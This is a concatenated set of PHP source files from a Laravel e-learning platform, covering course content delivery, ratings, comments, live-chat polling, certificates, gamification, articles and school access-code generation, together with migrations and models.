$conteudoCompleto->update([ 'resposta' => $newFileNameArquivo ]); } } } } return Redirect::back()->with('message', 'Entragável enviado com sucesso!'); } function playGetArquivo($idCurso, $idAula, $idConteudo) { if(Curso::find($idCurso)) { $curso = Curso::with('aulas')->find($idCurso); } else { return response()->json(['error' => 'Curso não encontrado']); } if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { if(Conteudo::where([['id', '=', $idConteudo]])->first() != null) { $conteudo = Conteudo::where([['id', '=', $idConteudo]])->first(); if(strpos($conteudo->conteudo, ".ppt") === false && strpos($conteudo->conteudo, ".html") === false) { if(!Auth::check()) { return response()->json(['error' => 'Usuário não autenticado!']); } $tem_matricula = Matricula::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $curso->id]])->exists(); $is_admin = (Auth::user()->permissao == "Z"); $is_content_owner = (Auth::user()->id == $conteudo->user_id); if( !$tem_matricula && !$is_admin && !$is_content_owner ) { return response()->json(['error' => 'Matricula não encontrada']); } } if(\Storage::disk('local')->has('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo) // || \Storage::disk('gcs')->has('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo) ) { $filePath = 'uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo; // if(\Storage::disk('gcs')->exists($filePath)) // { // // dd(Storage::disk('gcs')->temporaryUrl( $filePath, now()->addSeconds(30) )); // // dd("Testing."); // // dd(\Storage::disk('gcs')->size($filePath) / 1000000); //Size in bytes / 1+e6 = size in mb // // dd(Carbon::createFromTimestamp(\Storage::disk('gcs')->lastModified($filePath))->toDateTimeString()); // if(\Storage::disk('gcs')->getVisibility($filePath) == 'public') // { // \Storage::disk('gcs')->setVisibility($filePath, 'private'); // // \Storage::disk('gcs')->setVisibility($filePath, 'public'); // } // // Return temporary signed url // // \Storage::disk('gcs')->getAdapter()->getBucket()->object($filePath)->signedUrl(now()->addSeconds(120)); // return \Storage::disk('gcs')->response($filePath); // } // else { // Single byte streaming file response return \Storage::disk('local')->response($filePath); } // MultiByte streaming file response // return $this->streamFile(Storage::mimeType($filePath), storage_path('app/'. $filePath)); } else { return $conteudo->conteudo; } } else { return response()->view('errors.404'); } } else { return response()->view('errors.404'); } } // Provide a streaming file with support for scrubbing private function streamFile( $contentType, $path ) { $fullsize = filesize($path); $size = $fullsize; $stream = fopen($path, "r"); $response_code = 200; $headers = array("Content-type" => $contentType); // Check for request for part of the stream $range = \Request::header('Range'); if($range != null) { $eqPos = strpos($range, "="); $toPos = strpos($range, "-"); $unit = substr($range, 0, $eqPos); $start = intval(substr($range, $eqPos+1, $toPos)); $success = fseek($stream, $start); if($success == 0) { $size = $fullsize - $start; $response_code = 206; $headers["Accept-Ranges"] = $unit; $headers["Content-Range"] = $unit . " " . $start . "-" . ($fullsize-1) . "/" . $fullsize; } } $headers["Content-Length"] = $size; return \Response::stream(function () use ($stream) { fpassthru($stream); }, $response_code, $headers); } public function postEnviarAvaliacaoCurso($idCurso, Request $request) { if(Curso::find($idCurso) == null) { return response()->json(['error' => 'Curso não encontrado!']); } // $qtConteudos = Conteudo::where([['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]])->count(); $qtConteudos = Conteudo::with('conteudos_aula')->whereHas('conteudos_aula', function ($query) use ($idCurso) { $query->where([['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]]); })->count(); if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->count() < $qtConteudos) { return response()->json(['error' => 'Curso incompleto!']); } if($request->comentario == null) { $request->comentario = ''; } AvaliacaoCurso::updateOrCreate( [ 'user_id' => Auth::user()->id, 'curso_id' => $idCurso ], ['avaliacao' => $request->avaliacao, 'descricao' => $request->comentario] ); return response()->json(['success' => 'Avaliação enviada com sucesso!']); } public function postEnviarAvaliacaoEscola($escola_id, Request $request) { if(Escola::find($escola_id) == null) { return response()->json(['error' => 'Escola não encontrada!']); } // $qtConteudos = Conteudo::where([['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]])->count(); // $qtConteudos = Conteudo::with('conteudos_aula')->whereHas('conteudos_aula', function ($query) use ($idCurso) { // $query->where([['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]]); // })->count(); // if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->count() < $qtConteudos) // { // return response()->json(['error' => 'Curso incompleto!']); // } if($request->comentario == null) { $request->comentario = ''; } AvaliacaoEscola::updateOrCreate( [ 'user_id' => Auth::user()->id, 'escola_id' => $escola_id ], ['avaliacao' => $request->avaliacao, 'descricao' => $request->comentario] ); return response()->json(['success' => 'Avaliação enviada com sucesso!']); } public function postEnviarAvaliacaoProfessor($idCurso, Request $request) { if(Curso::find($idCurso) == null) { return response()->json(['error' => 'Curso não encontrado!']); } $idInstrutor = Curso::find($idCurso)->user_id; if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->count() < Conteudo::where([['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]])->count()) { return response()->json(['error' => 'Curso incompleto!']); } if($request->comentario == null) { $request->comentario = ''; } AvaliacaoInstrutor::updateOrCreate( [ 'user_id' => Auth::user()->id, 'instrutor_id' => $idInstrutor ], ['avaliacao' => $request->avaliacao, 'descricao' => $request->comentario] ); return response()->json(['success' => 'Avaliação enviada com sucesso!']); } public function postEnviarAvaliacaoConteudo($idCurso, $idAula, $idConteudo, Request $request) { if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { if(Conteudo::where([['id', '=', $idConteudo]])->first() != null) { // if(AvaliacaoConteudo::updateOrCreate( // [ // 'user_id' => Auth::user()->id, // 'curso_id' => $idCurso, // 'aula_id' => $idAula, // 'conteudo_id' => $idConteudo, // ], // ['avaliacao' => $request->avaliacao] // )->exists()) // { // AvaliacaoConteudo::updateOrCreate(['user_id' => Auth::user()->id, 'curso_id' => $idCurso, 'aula_id' => $idAula, 'conteudo_id' => $idConteudo], // ['avaliacao' => $request->avaliacao] // ); // } AvaliacaoConteudo::updateOrCreate( [ 'user_id' => Auth::user()->id, 'curso_id' => $idCurso, 'aula_id' => $idAula, 'conteudo_id' => $idConteudo, ], ['avaliacao' => $request->avaliacao] ); return response()->json(['success' => 'Avaliação enviada com sucesso!']); } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } else { return response()->json(['error' => 'Aula não encontrada!']); } } public function postEnviarComentarioConteudo($idCurso, $idAula, $idConteudo, Request $request) { if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { if(Conteudo::where([['id', '=', $idConteudo]])->first() != null) { $comentario = ComentarioConteudo::create([ 'user_id' => Auth::user()->id, 'curso_id' => $idCurso, 'aula_id' => $idAula, 'conteudo_id' => $idConteudo, 'comentario' => $request->comentario ]); $comentario->user = Auth::user(); return response()->json(['success' => 'Comentário enviado com sucesso!', 'comentario' => $comentario]); } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } else { return response()->json(['error' => 'Aula não encontrada!']); } } public function getMensagensTransmissao($idCurso, $idAula, $idConteudo, Request $request) { $timestamp = $request->timestamp; if($timestamp == null) { if(MensagemTransmissao::orderBy('created_at', 'desc')->first() != null) $timestamp = MensagemTransmissao::orderBy('created_at', 'desc')->first()->created_at; else $timestamp = microtime(true); } $starttime = microtime(true); $mensagens = null; while(MensagemTransmissao::where('created_at', '>', $timestamp)->count() == 0) { usleep(15000); $endtime = microtime(true); $timediff = $endtime - $starttime; if($timediff > 30) { break; } elseif(MensagemTransmissao::where('created_at', '>', $timestamp)->count() > 0) { break; } } $mensagens = MensagemTransmissao::with('user')->where('created_at', '>', $timestamp)->get(); $timestamp = MensagemTransmissao::orderBy('created_at', 'desc')->first()->created_at; return response()->json(['mensagens' => $mensagens, 'timestamp' => $timestamp]); } public function postEnviarMensagemTransmissao($idCurso, $idAula, $idConteudo, Request $request) { if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { if(Conteudo::where([['id', '=', $idConteudo], ['tipo', '=', 5]])->first() != null) { $mensagem = MensagemTransmissao::create([ 'user_id' => Auth::user()->id, 'curso_id' => $idCurso, 'aula_id' => $idAula, 'conteudo_id' => $idConteudo, 'mensagem' => $request->mensagem ]); $mensagem->user = Auth::user(); return response()->json(['success' => 'Mensagem enviada com sucesso!', 'mensagem' => $mensagem]); } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } else { return response()->json(['error' => 'Aula não encontrada!']); } } public function getExcluirComentarioConteudo($idCurso, $idAula, $idConteudo, $idComentario) { $comentario = ComentarioConteudo::where([['id', '=', $idComentario], ['conteudo_id', '=', $idConteudo]])->first(); if($comentario != null) { if($comentario->user_id == Auth::user()->id || Curso::find($idCurso)->user_id == Auth::user()->id || strtolower(Auth::user()->permissao) == "z") { $comentario->delete(); return response()->json(['success' => 'Comentário excluido com sucesso!']); } else { return response()->json(['error' => 'Ação não permitida!']); } } else { return response()->json(['error' => 'Comentário não encontrado!']); } } public function getCertificado($idCurso) { if(Curso::find($idCurso) == null) { return response()->view('errors.404'); } // if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->count() < Conteudo::where([['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]])->count()) if(CursoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->first() == null) { return response()->view('errors.404'); } $curso = Curso::find($idCurso); $user = Auth::user(); if($user == null || $curso == null) { return response()->view('errors.404'); } $dataConclusao = CursoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->first()->created_at->format('d/m/Y'); return view('certificado')->with(compact('curso', 'user', 'dataConclusao')); } } <file_sep>/database/migrations/2019_08_08_111945_create_artigo_ajuda_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateArtigoAjudaTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('artigo_ajuda', function(Blueprint $table) { $table->integer('id', true); $table->integer('user_id'); $table->string('titulo'); $table->text('conteudo'); $table->text('categoria', 65535)->nullable(); $table->text('marcadores', 65535)->nullable(); $table->integer('visibilidade'); $table->integer('status'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('artigo_ajuda'); } } <file_sep>/app/Http/Controllers/GamificacaoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Auth; use App\User; use App\Entities\GamificacaoUsuario; use App\Entities\ConfiguracoesGamificacao\ConfiguracoesGamificacao; class GamificacaoController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $configuracoes_gamificacao = ConfiguracoesGamificacao::where([['user_id', '=', Auth::user()->id], ['escola_id', '=', Auth::user()->escola_id]])->first(); if($configuracoes_gamificacao == null) { $configuracoes_gamificacao = ConfiguracoesGamificacao::create([ 'user_id' => Auth::user()->id, 'escola_id' => Auth::user()->escola_id, 'login_ativo' => false, 'login_xp' => 25, 'conclusao_conteudo_ativo' => false, 'conclusao_conteudo_xp' => 10, 'conclusao_aula_ativo' => false, 'conclusao_aula_xp' => 50, 'conclusao_curso_ativo' => false, 'conclusao_curso_xp' => 100, 'conclusao_teste_ativo' => false, 'conclusao_teste_xp' => 30, 'topico_ativo' => false, 'topico_xp' => 15, 'comentario_ativo' => false, 'comentario_xp' => 5, 'level_up_curso_ativo' => false, 'level_up_curso' => 5, 'level_up_conquista_ativo' => false, 'level_up_conquista' => 15, 'formula_level_ativo' => false, 'formula_level' => null, ]); } return view('pages.gestao.gamificacao.index')->with( compact('configuracoes_gamificacao') ); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // $request->request->add(['user_id' => Auth::user()->id]); $request->request->add(['escola_id' => Auth::user()->escola_id]); foreach ($request->all() as $key => $value) { if($value == 'on') { $request[$key] = true; } } if($request->has('login_ativo') == false) { $request->request->add(['login_ativo' => false]); } if($request->has('conclusao_conteudo_ativo') == false) { $request->request->add(['conclusao_conteudo_ativo' => false]); } if($request->has('conclusao_aula_ativo') == false) { $request->request->add(['conclusao_aula_ativo' => false]); } if($request->has('conclusao_curso_ativo') == false) { $request->request->add(['conclusao_curso_ativo' => false]); } if($request->has('conclusao_teste_ativo') == false) { $request->request->add(['conclusao_teste_ativo' => false]); } if($request->has('topico_ativo') == false) { $request->request->add(['topico_ativo' => false]); } if($request->has('comentario_ativo') == false) { $request->request->add(['comentario_ativo' => false]); } if($request->has('level_up_curso_ativo') == false) { $request->request->add(['level_up_curso_ativo' => false]); } if($request->has('level_up_conquista_ativo') == false) { $request->request->add(['level_up_conquista_ativo' => false]); } if($request->has('formula_level_ativo') == false) { $request->request->add(['formula_level_ativo' => false]); } // dd($request->all()); ConfiguracoesGamificacao::updateOrCreate( ['user_id' => Auth::user()->id, 'escola_id' => Auth::user()->escola_id], $request->all() ); // ConfiguracoesGamificacao::create($request->all()); return redirect()->back()->with('success', 'Configurações de gamificação salvas com sucesso!'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // // ConfiguracoesGamificacao::create([ // 'user_id' => Auth::user()->id, // 'escola_id' => Auth::user()->escola_id, // 'login_ativo' => $request->login_ativo, // 'login_xp' => $request->login_xp, // 'conclusao_aula_ativo' => $request->conclusao_aula_ativo, // 'conclusao_aula_xp' => $request->conclusao_aula_xp, // 'conclusao_curso_ativo' => $request->conclusao_curso_ativo, // 'conclusao_curso_xp' => $request->conclusao_curso_xp, // 'conclusao_teste_ativo' => $request->conclusao_teste_ativo, // 'conclusao_teste_xp' => $request->conclusao_teste_xp, // 'topico_ativo' => $request->topico_ativo, // 'topico_xp' => $request->topico_xp, // 'comentario_ativo' => $request->comentario_ativo, // 'comentario_xp' => $request->comentario_xp, // 'level_up_curso_ativo' => $request->level_up_curso_ativo, // 'level_up_curso' => $request->level_up_curso, // 'level_up_conquista_ativo' => $request->level_up_conquista_ativo, // 'level_up_conquista' => $request->level_up_conquista, // 'formula_level' => $request->formula_level, // ]); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep>/app/Entities/Roteiros/Roteiros.php <?php namespace App\Entities\Roteiros; use App\Entities\Roteiros\RoteirosTopico; use App\User; use Illuminate\Database\Eloquent\Model; class Roteiros extends Model { protected $table = "roteiros"; //Preenchiveis protected $fillable = [ 'user_id', 'titulo' ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } public function topicos() { return $this->hasMany(RoteirosTopico::class, 'roteiro_id')->orderBy('id', 'asc');; } } <file_sep>/app/AvaliacaoInstrutor.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class AvaliacaoInstrutor extends Model { protected $table = 'avaliacoes_instrutor'; //Preenchiveis protected $fillable = [ 'user_id', 'instrutor_id', 'avaliacao', 'descricao', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', ]; public function instrutor() { return $this->belongsTo('App\User', 'instrutor_id', 'id'); } public function user() { return $this->belongsTo('App\User', 'user_id', 'id'); } }<file_sep>/database/migrations/2019_08_08_111945_create_cursos_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateCursosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('cursos', function(Blueprint $table) { $table->integer('id', true); $table->integer('escola_id'); $table->integer('user_id'); $table->string('titulo'); $table->text('descricao_curta'); $table->text('descricao'); $table->string('capa'); $table->integer('categoria'); $table->integer('tipo'); $table->boolean('visibilidade'); $table->string('senha'); $table->integer('status'); $table->float('preco', 10, 0); $table->integer('periodo'); $table->integer('vagas'); $table->dateTime('data_publicacao')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('cursos'); } } <file_sep>/app/Http/Controllers/Habilidades/Api/HabilidadesController.php <?php namespace App\Http\Controllers\Habilidades\Api; use App\Entities\HabilidadeUsuario\Api\Repository as HabilidadeUsuario; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class HabilidadesController extends Controller { private $habilidadeUsuario; public function __construct(HabilidadeUsuario $habilidadeUsuario) { $this->habilidadeUsuario = $habilidadeUsuario; } public function UsuarioHabilidade($idUsuario, $idHabilidade, Request $request) { try { $this->habilidadeUsuario->store(['user_id' => $idUsuario, 'habilidade_id' => $idHabilidade, 'pontos' => $request->get('pontos')]); return response()->json(["success" => "Habilidade adicionada com sucesso!"]); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao adicionar habilidade", "message:" => $exception->getMessage()]); } } public function UsuarioAuthHabilidade($idHabilidade, Request $request) { try { $this->habilidadeUsuario->store(['user_id' => Auth::user()->id, 'habilidade_id' => $idHabilidade, 'pontos' => $request->get('pontos')]); return response()->json(["success" => "Habilidade adicionada com sucesso!"]); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao adicionar habilidade", "message:" => $exception->getMessage()]); } } } <file_sep>/app/Http/Controllers/ArtigosController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Artigo; use App\Categoria; class ArtigosController extends Controller { public function index () { $artigos = Artigo::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $artigos->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }); $is_admin = strtoupper(Auth::user()->permissao) == "Z"; $artigos->when($is_admin == false, function ($query) { return $query->where('user_id', '=', Auth::user()->id); }); $artigos = $artigos ->where([['status', '=', 1]]) ->orderBy('id', 'DESC') ->get(); return view('artigos.index')->with( compact('artigos') ); } public function gestaoArtigos() { $artigos = Artigo::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $artigos->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }); $is_admin = strtoupper(Auth::user()->permissao) == "Z"; $artigos->when($is_admin == false, function ($query) { return $query->where('user_id', '=', Auth::user()->id); }); $artigos = $artigos // ->where([['status', '=', 1]]) ->orderBy('id', 'DESC') ->get(); return view('gestao.artigos.index')->with( compact('artigos') ); } public function lerArtigo($artigo_id, $sluged_title) { if(Artigo::find($artigo_id) != null) { $artigo = Artigo::find($artigo_id); return view('gestao.artigos.ler-artigo')->with( compact('artigo') ); } else { return redirect("404"); // return redirect()->route('gestao.artigos.index')->with('error', 'Artigo não encontrado!'); } } public function create() { $categorias = Categoria::where([['tipo', '=', 4]])->get(); return view('gestao.artigos.novo-artigo')->with( compact('categorias') ); } public function store(Request $request) { // dd($request); if(isset($request->arquivo_capa)) { $originalName = mb_strtolower( $request->arquivo_capa->getClientOriginalName(), 'utf-8' ); $fileExtension = \File::extension($request->arquivo_capa->getClientOriginalName()); $newFileNameArquivo = md5( $request->arquivo_capa->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathArquivo = $request->arquivo_capa->storeAs('artigos', $newFileNameArquivo, 'public_uploads'); if(!\Storage::disk('public_uploads')->put($pathArquivo, file_get_contents($request->arquivo_capa))) { // return redirect()->back()->with('error', 'Não foi possível fazer upload da capa, por favor tente novamente!'); \Request::session()->flash('error', 'Não foi possível fazer upload da capa, por favor tente novamente!'); } } else { return redirect()->back()->with('error', 'Você deve anexar uma capa para seu artigo!'); } Artigo::create([ 'user_id' => \Auth::user()->id, 'escola_id' => \Auth::user()->escola_id, 'titulo' => $request->titulo, 'subtitulo' => $request->subtitulo, 'descricao' => $request->descricao, 'conteudo' => $request->conteudo, 'capa' => $newFileNameArquivo, 'status' => $request->status == null ? 0 : $request->status, ]); // return redirect()->back()->with('message', 'Artigo criado com sucesso!'); return redirect()->route('gestao.artigos.index')->with('message', 'Artigo criado com sucesso!'); } public function update(Request $request) { // dd($request); if(Artigo::find($request->artigo_id) != null) { $artigo = Artigo::find($request->artigo_id); if(isset($request->arquivo_capa)) { $originalName = mb_strtolower( $request->arquivo_capa->getClientOriginalName(), 'utf-8' ); $fileExtension = \File::extension($request->arquivo_capa->getClientOriginalName()); $newFileNameArquivo = md5( $request->arquivo_capa->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathArquivo = $request->arquivo_capa->storeAs('artigos', $newFileNameArquivo, 'public_uploads'); if(!\Storage::disk('public_uploads')->put($pathArquivo, file_get_contents($request->arquivo_capa))) { \Session::flash('error', 'Não foi possível fazer upload de seu conteúdo!'); } else { if(\Storage::disk('public_uploads')->has('artigos/' . $artigo->capa)) { \Storage::disk('public_uploads')->delete('artigos/' . $artigo->capa); } $artigo->update([ 'capa' => $newFileNameArquivo, ]); } } $artigo->update([ 'titulo' => $request->titulo, 'subtitulo' => $request->subtitulo, 'descricao' => $request->descricao, 'conteudo' => $request->conteudo, 'status' => $request->status ]); return redirect()->back()->with('message', 'Artigo atualizado com sucesso!'); } else { return response()->json(["response" => false, "data" => "Artigo não encontrado!", 404]); } } public function editarArtigo($artigo_id) { if(Artigo::find($artigo_id) != null) { $artigo = Artigo::find($artigo_id); $categorias = Categoria::where([['tipo', '=', 4]])->get(); return view('gestao.artigos.editar-artigo')->with( compact('artigo', 'categorias') ); } else { return redirect()->route('gestao.artigos.index')->with('error', 'Artigo não encontrado!'); } } public function getArtigo($artigo_id) { if(Artigo::find($artigo_id) != null) { $artigo = Artigo::find($artigo_id); return response()->json(["response" => true, "data" => "Artigo carregado com sucesso!", 'artigo' => $artigo ]); } else { return response()->json(["response" => false, "data" => "Artigo não encontrado!", 404]); } } public function delete(Request $request) { // dd($request); if(Artigo::find($request->artigo_id) != null) { $artigo = Artigo::find($request->artigo_id); if(\Storage::disk('public_uploads')->has('artigos/' . $artigo->capa)) { \Storage::disk('public_uploads')->delete('artigos/' . $artigo->capa); } $artigo->delete(); return response()->json(["response" => true, "data" => "Artigo excluído com sucesso!", 200]); } else { return response()->json(["response" => false, "data" => "Artigo não encontrado!", 404]); } } } <file_sep>/app/Http/Controllers/RecompensasExtraJogo/Admin/RecompensasExtraJogoController.php <?php namespace App\Http\Controllers\RecompensasExtraJogo\Admin; use App\Entities\RecompensaExtraJogo\RecompensaExtraJogo; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Input; class RecompensasExtraJogoController extends Controller { public function index(Request $request) { $recompensasExtraJogo = RecompensaExtraJogo::orderBy('id', 'DESC')->paginate(6); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; if($tem_pesquisa) { $recompensasExtraJogo = RecompensaExtraJogo::where('titulo', 'like', '%' . Input::get('pesquisa') . '%')->paginate(6); } return view('pages.recompensas-extra-jogo.admin.index', compact('recompensasExtraJogo')); } public function store(Request $request) { $this->validate($request, [ 'titulo' => 'required' ]); $values = $request->all(); $values['user_id'] = Auth::user()->id; RecompensaExtraJogo::create($values); return redirect()->route('gestao.recompensas-extra-jogo.listar')->with('message', 'Recompensa Extra-Jogo cadastrado com sucesso!'); } public function fetch($id, Request $request) { $recompensaExtraJogo = RecompensaExtraJogo::find($id); return $recompensaExtraJogo->toJson(); } public function update($id, Request $request) { $this->validate($request, [ 'titulo' => 'required' ]); $values = $request->all(); RecompensaExtraJogo::find($id)->update($values); return redirect()->route('gestao.recompensas-extra-jogo.listar')->with('message', 'Recompensa Extra-Jogo atualizado com sucesso!'); } public function delete($id) { RecompensaExtraJogo::find($id)->delete(); return redirect()->route('gestao.recompensas-extra-jogo.listar')->with('message', 'Recompensa Extra-Jogo excluído com sucesso!'); } } <file_sep>/app/Entities/Agenda/Agenda.php <?php namespace App\Entities\Agenda; use Illuminate\Database\Eloquent\Model; class Agenda extends Model { protected $table = 'agendas'; //Preenchiveis protected $fillable = [ 'data_inicial', 'data_final', 'titulo', 'descricao', 'cor', 'user_id' ]; } <file_sep>/app/Entities/Playlist/Playlist.php <?php namespace App\Entities\Playlist; use App\Entities\Audio\Audio; use App\User; use Illuminate\Database\Eloquent\Model; class Playlist extends Model { protected $table = "playlists"; //Preenchiveis protected $fillable = [ 'user_id', 'titulo' ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } public function audios() { return $this->belongsToMany(Audio::class, 'playlist_audios', 'playlist_id'); } public function getArtistAttribute() { $user = User::where('id', $this->attributes['artist'])->select('name')->first(); return $user->name; } public function getCreatedAtAttribute($date) { return ucfirst(\Carbon\Carbon::createFromFormat('Y-m-d H:i:s', $date)->diffForHumans()); } } <file_sep>/app/Http/Controllers/API/GlossaryController.php <?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Entities\Glossario\Repository; class GlossaryController extends Controller { protected $repository; public function __construct(Repository $repository) { $this->repository = $repository; } public function show($letter = "A") { if (strlen($letter) == 1) { $glossarios = $this->repository->all($letter); } else { $glossarios = $this->repository->search($letter); } return response()->json(["data" => $glossarios]); } } <file_sep>/app/Http/Controllers/CodigoAcessoEscolaController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\CodigoAcessoEscola; use App\Escola; use App\Turma; class CodigoAcessoEscolaController extends Controller { public function index() { $escola = Escola::find(Auth::user()->escola_id); if($escola == null) { return redirect()->back()->withErrors("Escola não encontrada!"); } $codigosAcesso = CodigoAcessoEscola::where('escola_id', $escola->id)->get(); $turmas = Turma::whereHas('professor', function($q) use ($escola) { $q->where('escola_id', '=', $escola->id); })->get(); $alunos = User::where([['escola_id', $escola->id], ['permissao', "A"]])->get(); return view('gestao.escola.codigos')->with(compact( 'codigosAcesso', 'turmas', 'escola', 'alunos' )); } public function postGerarCodigosAcesso($idEscola, Request $request) { if(Escola::find($idEscola) != null) { $escola = Escola::find($idEscola); if(strrpos(mb_strtoupper(Auth::user()->permissao, 'UTF-8'), "Z") !== false && Auth::user()->id != $escola->user_id //Checa se é dono da escola && Auth::user()->escola_id != $escola->id) //Checa se faz parte da escola { return redirect()->back()->withErrors("Você não tem permissão para realizar esta ação!"); } if($request->turma_id != null ? (Turma::find($request->turma_id) == null) : false) { return redirect()->back()->withErrors("Turma não encontrada!"); } if($request->quantidade <= 0) { return redirect()->back()->withErrors("Você deve gerar 1 ou mais códigos!"); } if(($escola->limite_alunos - User::where([['escola_id', $idEscola], ['permissao', 'A']])->count()) <= 0) { return redirect()->back()->withErrors("Você não pode gerar mais códigos!"); } if($request->quantidade > ($escola->limite_alunos - User::where([['escola_id', $idEscola], ['permissao', 'A']])->count() - CodigoAcessoEscola::where([['escola_id', $escola->id], ['aluno_id', null]])->count())) { return redirect()->back()->withErrors("Você não pode gerar mais códigos que seu limite de alunos!"); } if($request->quantidade > 250) { return redirect()->back()->withErrors("Por favor tente gerar uma menor quantidade de códigos, e se precisar de mais gere novamente."); } $count = 0; for ($i = 0; $i < $request->quantidade; $i++) { $token = self::getTokenRandomico(); if($token == null) { continue; } CodigoAcessoEscola::create([ 'escola_id' => $idEscola, 'turma_id' => $request->turma_id, 'codigo' => mb_strtoupper($token, 'UTF-8') ]); $count ++; } Session::flash("message", 'Códigos de acesso gerados com sucesso, agora basta passar aos seus alunos. (' . $count . ' códigos gerados)'); return redirect()->back(); } else { return redirect()->back()->withErrors("Escola não encontrada!"); } } public function postExcluirCodigoAcesso($idEscola, $idCodigo) { $escola = Escola::find($idEscola); if(Escola::find($idEscola) == null) { return redirect()->back()->withErrors("Escola não encontrada!"); } if(strrpos(mb_strtoupper(Auth::user()->permissao, 'UTF-8'), "Z") !== false && Auth::user()->id != $escola->user_id //Checa se é dono da escola && Auth::user()->escola_id != $escola->id) //Checa se faz parte da escola { return redirect()->back()->withErrors("Você não tem permissão para realizar esta ação!"); } if(CodigoAcessoEscola::find($idCodigo) != null) { CodigoAcessoEscola::find($idCodigo)->delete(); return response()->json(["success" => "Código de acesso excluido com sucesso!"]); } else { return response()->json(["error" => "Código de acesso não encontrada!"]); } } public function getTokenRandomico() { $step = 0; do { if($step < 10) { $token = \HelperClass::RandomString(4); } else if($step < 20) { $token = \HelperClass::RandomString(6); } else if($step < 30) { $token = \HelperClass::RandomString(10); } else if($step < 40) { $token = \HelperClass::RandomString(12); } else { $token = \HelperClass::RandomString(15); } $step ++; } while(CodigoAcessoEscola::where('codigo', '=', $token)->exists() && $step < 50); if($step >= 50) { return null; } else { return $token; } } }
d8c316df7b020b3b6f5fc6e4971a6b12e53ffa98
[ "Markdown", "JavaScript", "PHP", "Dockerfile", "Shell" ]
217
PHP
OSBRProj/EduLabzz1
deb01326df9b586cd4aa9080206ba79caf24a98b
62101a4c5d67b42653496b1abdb2585aec4a1956
refs/heads/master
